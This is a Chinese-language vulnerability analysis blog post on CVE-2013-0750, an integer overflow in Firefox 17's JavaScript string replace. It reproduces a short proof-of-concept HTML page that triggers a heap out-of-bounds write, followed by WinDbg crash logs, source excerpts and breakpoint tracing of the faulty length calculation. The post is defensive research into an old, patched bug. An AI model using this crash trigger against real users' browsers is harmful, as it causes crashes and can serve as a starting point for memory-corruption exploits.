【漏洞分析】Mozilla Firefox 字符串替换堆破坏漏洞(CVE-2013-0750)

0x00 前言

有源码,不用IDA反编译,比较容易发现问题。

0x01 简介

在Mozilla Firefox浏览器的js实现中出现整数溢出漏洞,除了影响Firefox18.0以前的所有版本,还影响了Thunderbird,SeaMonkey 等产品,这个漏洞允许攻击者通过构造字符串拼接执行恶意代码。

CVE-2013-0750影响firefox历史的全部版本,在当时绝对是一颗重磅炸弹了。看下那时候火狐的全球市场占有率。
【漏洞分析】Mozilla Firefox 字符串替换堆破坏漏洞(CVE-2013-0750)_第1张图片
2019年,浏览器chrome占62%,火狐虽然还是排第三,但市场占有率只有4%。不禁让人惋惜。

0x02 漏洞原理

js正则替换的语法实现中,结果字符串使用StringBuffer类型的数据,这个字符串缓存的空间大小由ca预先申请。然而,恶意的js代码中,超长的字符串大小,导致4字节无符号整数ca变为0。也就是预期申请一个超大的内存空间,结果申请了0字节的空间。在字符串替换写入时导致非法越界写操作,引发程序崩溃。

0x03 漏洞分析

运行环境:

版本
操作系统 windows 7 sp1 32bit
调试器 windbg 6.12 32 bit
漏洞软件 firefox-17.0.exe

poc.html文件, 395 bytes, created by Reed Loden。

<html>
    <script type="text/javascript">

        function puff(x, n){
            while(x.length<n) x+=x;
            x = x.substring(0, n);
            return x;
        }
        /* x表示源字符串,预计会拼接成很多个1,如"1111111111111..11" */
        var x = "1";
         /* rep是替换字符串,"$1"表示第一个元组,没错,就是后面(.+)正则命中的字符串 */
        var rep = "$1";

        x = puff(x, 1<<20);
        rep = puff(rep, 1<<16);
        /* 程序会在replace这里崩溃 */
        y = x.replace(/(.+)/g, rep);
        alert(y.length);

    script>
    
html>

使用firefox.exe打开poc.html文件,出现崩溃

(afc.e40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b383778 ebx=002f0031 ecx=00300000 edx=0b580020 esi=00100000 edi=002fc840
eip=659a0583 esp=002fc74c ebp=0723a890 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010283
mozjs!DoReplace+0x93:
659a0583 668919          mov     word ptr [ecx],bx        ds:0023:00300000=0000

查看ecx寄存器

0:000> !address ecx

                                     
Failed to map Heaps (error 80004005)
Usage:                  MemoryMappedFile
Allocation Base:        00300000
Base Address:           00300000
End Address:            00401000
Region Size:            00101000
Type:                   00040000	MEM_MAPPED
State:                  00001000	MEM_COMMIT
Protect:                00000002	PAGE_READONLY
Mapped file name:       PageFile

ecx寄存器指向的内存空间0x00300000是PAGE_READONLY属性,也就是只读的。所以这里判定崩溃原因为是写越界。
使用windbg自动分析

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\safemon\urlproc.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\360\360safe\360NetBase.dll - 

FAULTING_IP: 
mozjs!DoReplace+93 [c:\users\momocha\desktop\mozilla-release\js\src\jsstr.cpp @ 2067]
659a0583 668919          mov     word ptr [ecx],bx

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 659a0583 (mozjs!DoReplace+0x00000093)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00300000
Attempt to write to address 00300000

FAULTING_THREAD:  00000e40

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  firefox.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00300000

WRITE_ADDRESS:  00300000 

FOLLOWUP_IP: 
mozjs!DoReplace+93 [c:\users\momocha\desktop\mozilla-release\js\src\jsstr.cpp @ 2067]
659a0583 668919          mov     word ptr [ecx],bx

MOD_LIST: 

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

LAST_CONTROL_TRANSFER:  from 659a4e2d to 659a0583

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_STACK_CORRUPTION

STACK_TEXT:  
00000000 00000000 mozjs!DoReplace+0x0


FAULTING_SOURCE_CODE:  
  2063:         JSSubString sub;
  2064:         size_t skip;
  2065:         if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
  2066:             len = sub.length;
> 2067:             rdata.sb.infallibleAppend(sub.chars, len); //崩溃的源码位置
  2068:             cp += skip;
  2069:             dp += skip;
  2070:         } else {
  2071:             dp++;
  2072:         }


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mozjs!DoReplace+93

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mozjs

IMAGE_NAME:  mozjs.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5c508ed0

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ** Pseudo Context ** ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_mozjs.dll!DoReplace

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_STACK_CORRUPTION_mozjs!DoReplace+93

Followup: MachineOwner
---------

这里我们可以得到3条重要信息:

  1. PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE 表示写指针非法;
  2. IMAGE_NAME: mozjs.dll 表示崩溃的代码在mozjs.dll模块中;
  3. FAULTING_SOURCE_CODE 指出了源代码行号位置在2067行。

在看下源码

static void
DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata)
{
    JSLinearString *repstr = rdata.repstr;
    const jschar *cp;
    const jschar *bp = cp = repstr->chars();

    const jschar *dp = rdata.dollar;
    const jschar *ep = rdata.dollarEnd;
    //for循环是不停找到$的位置,进行替换$1的操作
    for (; dp; dp = js_strchr_limit(dp, '$', ep)) {
        /* Move one of the constant portions of the replacement value. */
        size_t len = dp - cp;
        rdata.sb.infallibleAppend(cp, len);
        cp = dp;

        JSSubString sub;
        size_t skip;
        //InterpretDollar函数是讲poc中的"$1" 翻译成匹配的字符串,并保存到sub中
        if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
            len = sub.length;
            rdata.sb.infallibleAppend(sub.chars, len); //崩溃位置
            //sb即为stringbuffer对象,这里猜测如果sb申请的空间不够,则出现写越界
            cp += skip;
            dp += skip;
        } else {
            dp++;
        }
    }
    rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp));
}

那么sb这个变量是在哪里申请空间大小的呢?
在StringBuffer的定义中,我们找到了申请空间大小的相关函数
【漏洞分析】Mozilla Firefox 字符串替换堆破坏漏洞(CVE-2013-0750)_第2张图片
分别是reserveresize
reserve 内存分配按照:(n*16-1)分配,实际空间大小可能大于reserve的参数len。
resize 按照len分配内存,实际空间大小等于len。

同时,跟踪DoReplace的上层调用函数ReplaceRegExpCallback

static bool
ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p)
{
    ReplaceData &rdata = *static_cast<ReplaceData *>(p);

    rdata.calledBack = true;
    size_t leftoff = rdata.leftIndex;
    size_t leftlen = res->matchStart() - leftoff;
    rdata.leftIndex = res->matchLimit();

    size_t replen = 0;  /* silence 'unused' warning */
    if (!FindReplaceLength(cx, res, rdata, &replen))
        return false;

    size_t growth = leftlen + replen;
    //这里设置了sb的空间大小,所以推测rdata.sb.length() + growth的这个计算值有问题
    if (!rdata.sb.reserve(rdata.sb.length() + growth))
        return false;

    JSLinearString &str = rdata.str->asLinear();  /* flattened for regexp */
    const jschar *left = str.chars() + leftoff;

    rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */
    DoReplace(cx, res, rdata);
    return true;
}

重新运行firefox.exe跟踪ReplaceRegExpCallback的执行
在这里插入图片描述
可以看出 [esp+1ch]growth, [edi+60h]rdata.sb.length()
使用windbg脚本语句,观察这两个值得变化

bp mozjs!ReplaceRegExpCallback+0x42 ".echo;.printf\" for loop: \"; dd [esp+1ch] l1;dd [edi+60h] l1;"
0:000> g
ModLoad: 70680000 70686000   C:\Windows\system32\rasadhlp.dll
ModLoad: 73490000 734c8000   C:\Windows\System32\fwpuclnt.dll
ModLoad: 6d4c0000 6d738000   C:\Windows\System32\gameux.dll
ModLoad: 73c80000 73e10000   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
ModLoad: 73a90000 73abf000   C:\Windows\System32\XmlLite.dll
ModLoad: 6e160000 6e1c1000   C:\Windows\System32\wer.dll
ModLoad: 6e5d0000 6e5d9000   C:\Windows\system32\LINKINFO.dll

 for loop: 0018c658  00000000
0018c760  00000000
eax=00000001 ebx=00000000 ecx=d0c1cdf3 edx=0018c658 esi=071689d8 edi=0018c700
eip=71814dd2 esp=0018c63c ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mozjs!ReplaceRegExpCallback+0x42:
71814dd2 8b4760          mov     eax,dword ptr [edi+60h] ds:0023:0018c760=00000000
0:000> g
(218.ef8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0aa038b8 ebx=00180031 ecx=00190000 edx=0ac00020 esi=00100000 edi=0018c700
eip=71810583 esp=0018c60c ebp=08c60050 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010283
mozjs!DoReplace+0x93:
71810583 668919          mov     word ptr [ecx],bx        ds:0023:00190000=0020

提取打印信息

 for loop: 0018c658  00000000
0018c760  00000000

0018c658 和 0018c760表示两个变量的地址,rdata.sb.length()growth的值都为0。所以后面会写越界。

这样,rdata.sb.length()growth的值如何得来成为了问题的关键。

回到源码中,我们发现growthFindReplaceLength计算得来。

进入函数下断点,可以发现replen在一个for循环中不停累加,最后由0xFF000002+0xFFFFFE=0x00000000.

结束。

0x04 小结

  1. 整数溢出的漏洞,问题都不在崩溃位置,需要向前下断点,找到"数组"的size修改的代码位置
  2. 对windbg的用法还不熟练,需要多用

0x05 参考文献

https://bugzilla.mozilla.org/show_bug.cgi?id=805121
https://developer.mozilla.org/zh-CN/docs/Simple_Firefox_build#编译火狐浏览器
【漏洞分析】Mozilla Firefox 字符串替换堆破坏漏洞(CVE-2013-0750)_第3张图片

你可能感兴趣的:(安全漏洞,二进制安全)